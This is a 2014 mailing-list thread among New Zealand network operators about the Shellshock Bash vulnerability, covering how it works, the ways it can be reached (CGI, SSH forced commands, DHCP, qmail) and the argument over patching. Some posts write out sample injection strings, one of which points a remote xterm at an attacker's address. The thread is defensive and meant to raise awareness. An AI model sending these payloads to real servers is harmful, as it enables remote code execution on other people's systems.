Fix may not be complete either: https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c23 On Thu, Sep 25, 2014 at 11:06 AM, Sebastian Castro wrote:

...

Hi all, This isn't normally a security vuln release list but this one looks

On 25/09/14 10:57 am, Dean Pemberton wrote: pretty bad

...

A newly discovered vulnerability (CVE-2014-6271) in the Bash command-line interpreter poses a critical security risk to Unix and Linux systems. It allows remote code execution.

NZITF is responding to this remote execution exploit, with a News page that we will be keeping up to date - http://www.nzitf.org.nz/news.html .

There are active scans going on already:

http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html

...

We are also reaching out to technical and security community points of contact to raise awareness to the issue and ensure necessary action is taken (hence this email to you). Please note, no patch is yet available for Mac OSX. However, many other patches are available.

So Patch, Patch, Patch.

Regards, Dea _______________________________________________ NZNOG mailing list NZNOG(a)list.waikato.ac.nz http://list.waikato.ac.nz/mailman/listinfo/nznog

-- Sebastian Castro Technical Research Manager .nz Registry Services (New Zealand Domain Name Registry Limited) desk: +64 4 495 2337 mobile: +64 21 400535 _______________________________________________ NZNOG mailing list NZNOG(a)list.waikato.ac.nz http://list.waikato.ac.nz/mailman/listinfo/nznog

The fundamental problem is this:

In starting, bash treats ANY environment variable whose value starts with "() {" (i.e. open paren, close paren, space, open curly) as a function to be

As I understand it, the problem is significantly worse than that. It's possible to add shell commands after the closing '}' which subsequently get executed by bash, for example: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" - this really should not do what it actually does. The big risk is in CGI execution under web servers. Apache (and others) automatically add CGI URI arguments as environment variables prior to executing CGI scripts. So if I find a CGI script on your web site, and add "?foo='() { ;;}; xterm -display my.ip.address:0.0'" into the URL then if the site CGI script executes _anything_ through bash, maybe even as innocuous as `date` - then that command in the URL gets executed. (I haven't verified that command yet, but you get the gist). Even if your CGI scripts carefully sanitise and check inputs, there's still a hole there through hidden environment variables that can get executed. -- Kerry On 25/09/2014 14:41, Don Stokes wrote: parsed and imported. For example:

$ export ls='() { echo bwahahaha

$ bash # any invocation of bash, including from system(), or as /bin/sh $ ls bwahahaha

This is the mechanism by which bash's "export -f" (export function) works. (By default, functions are not exported to the environment, which is why you never noticed this before.)

Basically, that functionality has a ridiculous number of

; }' potential gotchas, even if the parsing is properly fixed. The unpatched code just blithely throws the string at the command interpreter, and the patches are just band-aids on top of that.

-- don

On 25/09/14

14:14, Nicholas Lee wrote:

...

Fix may not be complete either:

...

https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c23 [6]

On Thu, Sep 25, 2014 at 11:06 AM, Sebastian Castro wrote:

...

...

On 25/09/14 10:57 am, Dean

Pemberton wrote:

...

...

...

Hi all, This isn't normally a security vuln release list but this one looks pretty bad

A newly discovered vulnerability (CVE-2014-6271) in the Bash command-line interpreter poses a critical security risk to Unix and Linux systems. It allows remote code execution.

NZITF is responding to this remote execution exploit, with a News page that we will be keeping up to date - http://www.nzitf.org.nz/news.html [1] .

There are active scans going on already:

http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html [2]

...

...

We are also reaching out to technical and security

community points of

...

...

contact to raise awareness to the issue and ensure necessary action is taken (hence this email to you). Please note, no patch is yet available for Mac OSX. However, many other

patches are available.

...

...

...

So Patch, Patch, Patch.

...

...

...

Regards, Dea

...

...

...

NZNOG mailing list NZNOG(a)list.waikato.ac.nz

http://list.waikato.ac.nz/mailman/listinfo/nznog [3]

...

--

...

Sebastian Castro Technical Research Manager .nz Registry Services (New Zealand Domain Name Registry Limited) desk: +64 4 495 2337 [4] mobile: +64 21 400535 [5]

...

...

NZNOG mailing list NZNOG(a)list.waikato.ac.nz

http://list.waikato.ac.nz/mailman/listinfo/nznog [3]

...

NZNOG mailing list

NZNOG(a)list.waikato.ac.nz

...

http://list.waikato.ac.nz/mailman/listinfo/nznog [3]

_______________________________________________

NZNOG mailing list

NZNOG(a)list.waikato.ac.nz

http://list.waikato.ac.nz/mailman/listinfo/nznog [3] Links: ------ [1] http://www.nzitf.org.nz/news.html [2] http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html [3] http://list.waikato.ac.nz/mailman/listinfo/nznog [4] tel:%2B64%204%20495%202337 [5] tel:%2B64%2021%20400535 [6] https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c23

On Thu, Sep 25, 2014 at 4:03 PM, Kerry Thompson wrote:

The big risk is in CGI execution under web servers. Apache (and others) automatically add CGI URI arguments as environment variables prior to executing CGI scripts. So if I find a CGI script on your web site, and add "?foo='() { ;;}; xterm -display my.ip.address:0.0'" into the URL then if the site CGI script executes _anything_ through bash, maybe even as innocuous as `date` - then that command in the URL gets executed. (I haven't verified that command yet, but you get the gist).

Even if your CGI scripts carefully sanitise and check inputs, there's still a hole there through hidden environment variables that can get executed.

This is the easiest I've seen so far: http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/ CVE-2014-6271: wget -U "() { test;};/usr/bin/touch /tmp/VULNERABLE" myserver/cgi-bin/test — Hernan Ochoa (@hernano) September 24, 2014 https://twitter.com/hernano/status/514866681530023936

No, it's not only for bash cgi scripts - it's for anything that results in Bash being called. For example, a Perl CGI script that calls system(). Or another binary that executes anything via bash. Or an SSH server configured to use the "ForceCommand" option (eg, to put the user into a captive menu rather than a shell). Or a dhcp client running dhclient-script. There's dozens of potential vectors to abuse this one - many of which haven't even been thought of yet. Patch *now*, on all machines - regardless of whether they have a webserver or not. Scott On Sat, Sep 27, 2014 at 10:45 AM, Eliezer Croitoru wrote:

Isn't this issue only for bash cgi-scripts? And how exactly httpd and others set the environmental variables? aren't they escaping the strings into literal ones? which.. will just disable any bash related issues?

Eliezer

On 09/25/2014 01:57 AM, Dean Pemberton wrote:

...

Hi all, This isn't normally a security vuln release list but this one looks pretty bad

A newly discovered vulnerability (CVE-2014-6271) in the Bash command-line interpreter poses a critical security risk to Unix and Linux systems. It allows remote code execution.

NZITF is responding to this remote execution exploit, with a News page that we will be keeping up to date - http://www.nzitf.org.nz/news.html .

We are also reaching out to technical and security community points of contact to raise awareness to the issue and ensure necessary action is taken (hence this email to you). Please note, no patch is yet available for Mac OSX. However, many other patches are available.

So Patch, Patch, Patch.

Regards, Dea _______________________________________________ NZNOG mailing list NZNOG(a)list.waikato.ac.nz http://list.waikato.ac.nz/mailman/listinfo/nznog

_______________________________________________ NZNOG mailing list NZNOG(a)list.waikato.ac.nz http://list.waikato.ac.nz/mailman/listinfo/nznog

On Sun 28 Sep 2014 07:33:09 NZDT +1300, Eliezer Croitoru wrote:

Basically it's true that this is a vulnerability and a big one for a change but.. The specific cases are pretty important to do something about it when needed.

The point is that it is impossible to list up all specific cases, now or in the future.

Basically a function should not be defined inside a variable as a thumb rule.

It is a real shame that attackers don't seem to adhere to this rule...

solve a thing or two but will not help many running systems(that maybe cannot be updated on the fly).

Tough, your problem. Ditto with firmware for stuff from vendors which don't know you any more. Please keep on searching the Internet for more cases and explanations[1] for why it was a good idea to patch yesterday. Or trust people like Scott. What does a CVE rating of 10/10 mean? Btw CVE-2014-6271 was just round one. See CVE-2014-7169 for round two! HTH, Volker [1] There was some elaboration here: http://lists.canterbury.ac.nz/pipermail/linux-users/ -- Volker Kuhlmann is list0570 with the domain in header. http://volker.top.geek.nz/ Please do not CC list postings to me.

Well Volker I am pretty sure I understand the basic nature of the CVEs.. both rounds. I also do understand that real threats will not be disclosed easily. What I do expect is that for main distributions to state the basics about a default server installation vulnerability throw telnet\ssh\non_root_user_shell etc. (OpenBSD should basically also be vulnerable to this CVEs but I assume that default installation mitigates the issue by other means) Since the vulnerability is out there for years...(what year bash 1.X was released??) I am pretty sure that efforts to fix it are there for some time and now it is maybe the time which the fix is already ready. It might be true or not but it is sure right to fix something now. Also if until now many systems was not compromised by this CVEs it is possible that default system installations are not affected by it. I am not talking about admins that do not make sure that their scripts are not compromised or running "curl some_address|bash" since these are already vulnerable by intention or misunderstanding. But for example if sshd by default is compromising the system by allowing injection of variables with root access to the system it might be nothing that bash should handle by default. sshd for example should not allow the existence of "function injection" which is a much higher priority then actually patching bash. If an admin wrote a cgi script that allows injection of functions into the bash environment then the cgi script should be fixed... If the issue is the mod_cgi interface itself allowing all sort of stuff it is not 100% bash fault. This issue is almost the same as php or other scripts that quotes a variable straight into a sql query and not using the "values" and "?"(question marks) to restrict the variables into a specific scope. From my point of view the php script should be fixed to prevent the sql injection rather then patching MySQL or any others. All The Bests, Eliezer On 09/28/2014 12:22 AM, Volker Kuhlmann wrote:

Tough, your problem. Ditto with firmware for stuff from vendors which don't know you any more.

Please keep on searching the Internet for more cases and explanations[1] for why it was a good idea to patch yesterday. Or trust people like Scott. What does a CVE rating of 10/10 mean?

Btw CVE-2014-6271 was just round one. See CVE-2014-7169 for round two!

HTH,

Volker

[1] There was some elaboration here: http://lists.canterbury.ac.nz/pipermail/linux-users/

Eliezer, If we all lived in a perfect world like you're describing then there would never be any security vulnerability, and the letters CVE would have no meaning. We don't live in that world. There is no point someone scrutinizing every single line of code of something like OpenSSH just to see if there's a potential for it being used to trigger a vulnerability in a component so core as Bash. Even if they come back and say that there's no way it could be abused, there'll also be some level of configuration that breaks their presumptions (eg, maybe they decide that OpenSSH isn't vulnerable, but it calls some other program, which then calls another program, which uses bash. This is *very* likely once you start to think about PAM modules which OpenSSH has no direct control over.). If you want to be safe, there's only one option here - update Bash. Well, maybe two options, but the second involves wire cutters. You can like that answer or you can not like it - but in the world we live in, it's the only valid answer. Scott On Sat, Sep 27, 2014 at 3:01 PM, Eliezer Croitoru wrote:

Well Volker I am pretty sure I understand the basic nature of the CVEs.. both rounds.

I also do understand that real threats will not be disclosed easily. What I do expect is that for main distributions to state the basics about a default server installation vulnerability throw telnet\ssh\non_root_user_shell etc. (OpenBSD should basically also be vulnerable to this CVEs but I assume that default installation mitigates the issue by other means)

Since the vulnerability is out there for years...(what year bash 1.X was released??) I am pretty sure that efforts to fix it are there for some time and now it is maybe the time which the fix is already ready. It might be true or not but it is sure right to fix something now.

Also if until now many systems was not compromised by this CVEs it is possible that default system installations are not affected by it.

I am not talking about admins that do not make sure that their scripts are not compromised or running "curl some_address|bash" since these are already vulnerable by intention or misunderstanding. But for example if sshd by default is compromising the system by allowing injection of variables with root access to the system it might be nothing that bash should handle by default. sshd for example should not allow the existence of "function injection" which is a much higher priority then actually patching bash.

If an admin wrote a cgi script that allows injection of functions into the bash environment then the cgi script should be fixed... If the issue is the mod_cgi interface itself allowing all sort of stuff it is not 100% bash fault.

This issue is almost the same as php or other scripts that quotes a variable straight into a sql query and not using the "values" and "?"(question marks) to restrict the variables into a specific scope.

From my point of view the php script should be fixed to prevent the sql injection rather then patching MySQL or any others.

All The Bests, Eliezer

On 09/28/2014 12:22 AM, Volker Kuhlmann wrote:

...

Tough, your problem. Ditto with firmware for stuff from vendors which don't know you any more.

Please keep on searching the Internet for more cases and explanations[1] for why it was a good idea to patch yesterday. Or trust people like Scott. What does a CVE rating of 10/10 mean?

Btw CVE-2014-6271 was just round one. See CVE-2014-7169 for round two!

HTH,

Volker

[1] There was some elaboration here: http://lists.canterbury.ac.nz/pipermail/linux-users/

_______________________________________________ NZNOG mailing list NZNOG(a)list.waikato.ac.nz http://list.waikato.ac.nz/mailman/listinfo/nznog

Thanks Michael, Thanks for the demonstration. Indeed the details you have demonstrated gives the issue a much more accurate description of it. Indeed I'm not aware of all the options to exploit the vulnerabilities since my experience is lower then many others. From the other hand once you have some grasp on the basic affected scenarios (which should be listed somewhere) some of them can be prevented using simple means while others cannot. Aside this specific CVE it's common knowledge that the CGI interface is one of the most vulnerable interfaces there was in many years with relation to this or not. Specifically for SSH I have seen in the past couple security examples that prevents the mentioned issue from even being there. Maybe my words was not clear enough so I will try again: *I do understand the vulnerbilities* More then just that, I have seen couple scripts in the past that got hit by similar ideas. One of the amazing examples is that a cgi script runs under using system() + sudo while using some environmental variables. Indeed also if the script is not running under sudo it can still cause harm to one and more web systems. The basic fact that some cisco devices has these bash versions and also vyatta\vyos and others, puts them in a very weird situation. For many years many systems are out-there on the Internet and still they were safe. For the cases that the admin or a user wants to do something with the server..... Imagine this: Cell Phone rings for Eliezer: "hello, we are having a trouble here what should we do?" Eliezer: "run a backup of directory '/home/user_x_y_z' and only then try to do this or that" The other side: "oops" Eliezer: "What oops?" The other side: "I suddenly do not have access to tar for some reason and I'm getting errors on the monitoring system about this host and another one.." Eliezer couple minutes later at the place: "Why do all the files on the server has a user ownership of x_y_z???" Eliezer walk throw the history logs... second .. two.. Eliezer: "Eureka.. There is no history log since the command was entered using a space at the beginning of the line" Ho well another CVE on bash that was never fixed in time. I hope my humor is not darker then black. All The Bests and Thanks, Eliezer On 09/28/2014 01:28 AM, Michael Fincham wrote:

I don't think you have understood this bug completely - the underlying assumption that it is safe to set environment variables to arbitrary values is wrong - this (at least -6271) is a bug in the way the variables are parsed internally in bash potentially leading to code execution. "injection of functions into the bash environment" is an intentional feature of bash, having those functions execute code while being defined is a parser bug 8^)

Here is a scenario:

You have an SSH server with this configuration for a user in their authorized_keys file:

command="/opt/fincham/do-nothing" ssh-rsa AAAAB3NzA..Dxq= user(a)example.com

And `/opt/fincham/do-nothing' looks like this:

#!/bin/bash

/bin/false

SSH will force `/opt/fincham/do-nothing' to run when the user connects, and this script is clearly incapable of doing anything exciting.

However in this situation, SSH will set a variable `SSH_ORIGINAL_COMMAND' in the environment of the spawned shell to a value supplied by the connecting user (e.g. if the user runs "ssh server.example.com foo" the value of SSH_ORIGINAL_COMMAND will be "foo"). It is easy to see that, by design, this does not matter, as nothing in the script examines or uses this environment variable.

This is where the seriousness of the bug comes in - when the `bash' process starts it will parser the environment, and in doing so it is possible to exploit bash's parser to execute arbitrary code /while it is merely examining the contents/ of that environment.

For instance if I connect with:

ssh server.example.com "{ :;}; /some/malicious/command"

My script that previously could only call `/bin/false' will now run `/some/malicious/command' as soon as bash is called by OpenSSH.

Now think about how many places where a user can set an environment variable (for instance, as intended functionality of CGI, to pass e.g. HTTP_COOKIE values in to the CGI script) and where bash will be called subsequently, either intentionally or implicitly by e.g. system().

For example, you work with Squid. If someone wrote a log parser that called some bash script with the content of the URL as an env var, you’d potentially have problems. Same if someone wrote an auth handler that set the username in an env var and then called a bash script. This is perhaps unusual, but is reasonable - perhaps some 3rd party auth database provides scripts that can be used to authenticate users.

Alternatively, you work with qmail, and one of your users has a .qmail file to handle mail delivery which calls any of the normal mail delivery tools, such as procmail. I send an email to this user with the MAIL FROM set to a bash function definition. qmail passes the ‘MAIL FROM’ address into this as an environment variable called SENDER. And we’re done. http://www.gossamer-threads.com/lists/qmail/users/138578 TLDR; email servers are potentially vulnerable too, even if not running the other already discussed attack vectors. Patch bash everywhere, not just on systems you “know” are vulnerable.

I'll repeat Nathan's earlier point: "These are some contrived examples, but, I think it illustrates the point. Upgrade bash and fix the core of the problem, don’t mess about patching stuff around it hoping you caught everything - and hoping you catch everything in the future.." jamie On 28 September 2014 21:11, Eliezer Croitoru wrote:

Two points Nathan.

Squid discourage the usage of bash helpers in general but there are couple nice codes which helps with that. Let alone this using environmental variables is bad for storing all sorts of things!!. Squid by itself do not use environmental variables at all else then in build and install times. There are bash scripts that start and stop squid but they do not come from the squid project and most of them are pretty safe.

Also squid validates the user input quite good as far as I know and no it doesn't use environmental variables in any way to transfer them.

Squid log parsers should not use environmental variables since they are a bad choice and not only from the point of view of bash vulnerability.

It's common practice for squid helpers(and also for other purposes in general) to be in the form of a scripting language such as perl\python\other and only for "counters" in bash.

Squid logs can be used in two formats: escaped\unescaped urls (default unescaped) which can in a way be a trigger while the strict HTTP rfc is enforced and can prevent lots of these issues.

One script that can might be vulnerable is cache manager CGI script(which is written in perl) but this interface should not be needed due to the existence of squid-internal-mgr interface since squid 3.2.

Indeed there are so much scenarios out there but.. As long as your SSH is firewalled you can feel better. As long as your httpd has fail2ban\FW\restrictions or uses php with no system calls you are quite safe there. (with good FW rules)As long as your ssh users are aware of basic security constrains the system is pretty safe.

etc..

Indeed if you have a VYos or Vyatta.. protect it as you can.

Eliezer

On 09/28/2014 02:49 AM, Nathan Ward wrote:

...

On 28 September 2014 at 12:30:16 pm, Eliezer Croitoru (eliezer(a)ngtech.co.il mailto:eliezer(a)ngtech.co.il) wrote:

...

From the other hand once you have some grasp on the basic affected scenarios (which should be listed somewhere) some of them can be prevented using simple means while others cannot.

The point is that the scenarios are vast, so any such list is going to give a false sense of security.

For example, you work with Squid. If someone wrote a log parser that called some bash script with the content of the URL as an env var, you’d potentially have problems. Same if someone wrote an auth handler that set the username in an env var and then called a bash script. This is perhaps unusual, but is reasonable - perhaps some 3rd party auth database provides scripts that can be used to authenticate users.

Given that, does Squid filter out all the possible ways to exploit this bug? It is unreasonable to suggest that the person who wrote the auth handler should have known that the 3rd party script was written in bash - perhaps they upgraded recently, and the vendor changed how something worked.

Worth noting, a quick scan of the source code suggests that Squid itself doesn’t use env vars to pass things to “program” handlers, which means Squid is not directly going to trigger this, which is handy.

These are some contrived examples, but, I think it illustrates the point. Upgrade bash and fix the core of the problem, don’t mess about patching stuff around it hoping you caught everything - and hoping you catch everything in the future.

-- Nathan Ward

_______________________________________________ NZNOG mailing list NZNOG(a)list.waikato.ac.nz http://list.waikato.ac.nz/mailman/listinfo/nznog

Never thought I’d say this, but… this discussion is surely way off what NZNOG is about? I’d be more interested to hear about operational issues in updating Bash, especially for embedded devices and huge VM deployments. Could write a story about that with hints, tips and opinions from esteemed media cleared NOGgers who feel like contacting me off-list about it. :) -- Juha Saarinen twitter: juhasaarinen

I want to add +1 to this. As with all mailing list discussions the subject focus will waver but I don't see anything particularly OT about this discussion (the ramifications of which are quite substantial, and more than indirectly relevant to Network Operators). I also find the use of 'beer' as an excuse for off-topic posting a bit naff. It's more frustrating for me to see people using NZNOG as a substitute for following published support channels, than it is for discussions such as this one to get some airtime. Mark. On 29/09/2014 12:56 a.m., Mike Cooper wrote:

It's a pretty sad state of affairs to see someone complain about an only marginally off-topic, quality technical discussion covering a real world issue affecting operators.

Yet the never-ending stream of "can someone from ___ contact me off list" and "stand up comedy punctuated with beer reference" posts draw not a murmur of dissent.

:(

On Sun, Sep 28, 2014 at 9:24 PM, Juha Saarinen wrote:

...

Never thought I’d say this, but… this discussion is surely way off what NZNOG is about?

I’d be more interested to hear about operational issues in updating Bash, especially for embedded devices and huge VM deployments. Could write a story about that with hints, tips and opinions from esteemed media cleared NOGgers who feel like contacting me off-list about it.

:) -- Juha Saarinen twitter: juhasaarinen

_______________________________________________ NZNOG mailing list NZNOG(a)list.waikato.ac.nz http://list.waikato.ac.nz/mailman/listinfo/nznog

_______________________________________________ NZNOG mailing list NZNOG(a)list.waikato.ac.nz http://list.waikato.ac.nz/mailman/listinfo/nznog

On Sun, 2014-09-28 at 01:19 -0700, Scott Howard wrote:

If one C program runs another C program, and if it does it via the system() function call (a standard C function since, well, pretty much forever), then it does it by calling bash. You can replace "C program" with basically anything else in that sentence, and the result is the same.

Eee when I were a lad, you forked a copy of your running program, then exec'd the new one on top of it. Steve -- Steve Holdoway BSc(Hons) MIITP http://www.greengecko.co.nz Linkedin: http://www.linkedin.com/in/steveholdoway Skype: sholdowa

On Sun, 2014-09-28 at 01:01 +0300, Eliezer Croitoru wrote:

This issue is almost the same as php or other scripts that quotes a variable straight into a sql query and not using the "values" and "?"(question marks) to restrict the variables into a specific scope.

From my point of view the php script should be fixed to prevent the sql injection rather then patching MySQL or any others.

I'll just pick you up on this point... using prepared statements necessarily skips the query buffer*, which could have performance issues on busy / poorly configured / slow IO servers... so there is a case for using a pre-created string instead - especially when . No case for not sanitising input obviously. However, when's it going to happen that someone works out a bobby tables hack for prepared statements anyway. You're also skipping the concept of defence in depth, which the recognition of a 20 year old security hole has (hopefully!) brought back to the top of designer/architect's thoughts! Steve *Must check on whether this is still true with InnoDB tables... logic tells me it is, but you never know. -- Steve Holdoway BSc(Hons) MIITP http://www.greengecko.co.nz Linkedin: http://www.linkedin.com/in/steveholdoway Skype: sholdowa

On 09/28/2014 06:45 AM, Eliezer Croitoru wrote:

Isn't this issue only for bash cgi-scripts? And how exactly httpd and others set the environmental variables? aren't they escaping the strings into literal ones? which.. will just disable any bash related issues?

Eliezer

Saw this on BugTraq... GNU Bash Environmental Variable Command Injection Vulnerability Advisory ID: cisco-sa-20140926-bash Revision 1.0 For Public Release 2014 September 26 01:00 UTC (GMT) Summary +====== On September 24, 2014, a vulnerability in the Bash shell was publicly announced. The vulnerability is related to the way in which shell functions are passed though environment variables. The vulnerability may allow an attacker to inject commands into a Bash shell, depending on how the shell is invoked. The Bash shell may be invoked by a number of processes including, but not limited to, telnet, SSH, DHCP, and scripts hosted on web servers. All versions of GNU Bash starting with version 1.14 are affected by this vulnerability and the specific impact is determined by the characteristics of the process using the Bash shell. In the worst case, an unauthenticated remote attacker would be able to execute commands on an affected server. However, in most cases involving Cisco products, exploitation of the vulnerability results in an authenticated attacker having the ability to execute commands for which they are not authorized. A number of Cisco products ship with or leverage an affected version of the Bash shell. This advisory will be updated as additional information becomes available. Cisco may release free software updates that address this vulnerability if a product is determined to be affected by this vulnerability. This advisory is available at the following link: http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-s...

On Mon 29 Sep 2014 09:58:33 NZDT +1300, Ewen McNeill wrote:

PS: IMHO it'd also be a good idea to consider whether you want_ bash to be your /bin/sh at this point. bash is not the default /bin/sh on modern Debian Linux or Ubuntu Linux -- both use dash by default. The risk is definitely reduced if your system() calls and "#! /bin/sh" scripts end up running something other than bash.

Traditionally I don't think there was a strong case for not having bash as /bin/sh, but also advantages - like the, in plain English, retarded capabilities of alternative interpreters. Hindsight is wonderful. Right now, bash as /bin/sh looks like a bad idea, but before changing you'd want to have a closer look at your replacement for similar problems. Programming for bash and calling /bin/sh could be seen as sloppy, but on systems that have had bash as minimum basic shell for a long time it is also not unreasonable to make that assumption. Just replacing /bin/sh from bash with something else will most likely give you a wonky system and you'll have heaps of fixing to do. It is not impossible now though that distributions will reduce their least common denominator for /bin/sh somewhat and clean up all the corners, but it's not going to happen overnight. Volker -- Volker Kuhlmann is list0570 with the domain in header. http://volker.top.geek.nz/ Please do not CC list postings to me.

On 29 September 2014 at 12:18:52 pm, Ewen McNeill (nznog(a)ewen.mcneill.gen.nz) wrote: IMHO, even changing all of your scripts that you don't have time to audit to say "#! /bin/bash" explicitly at the top, and changing your /bin/sh to be something other than bash would be a practical improvement (eg, system() wouldn't be calling bash, and it's less likely bash would be invoked with "untrusted" input). What’s to stop dash, or any other shell, having a similar problem? Seems a reasonable suggestion to stick with what’s getting the most attention from the security angle. Then again, maybe dash will get that now too - is it less code/simpler to audit? To quote an esteemed security chap, who said privately, not necessarily in endorsement of my thoughts above: "you want many eyes argument? there are MANY eyes looking now ;)" --  Nathan Ward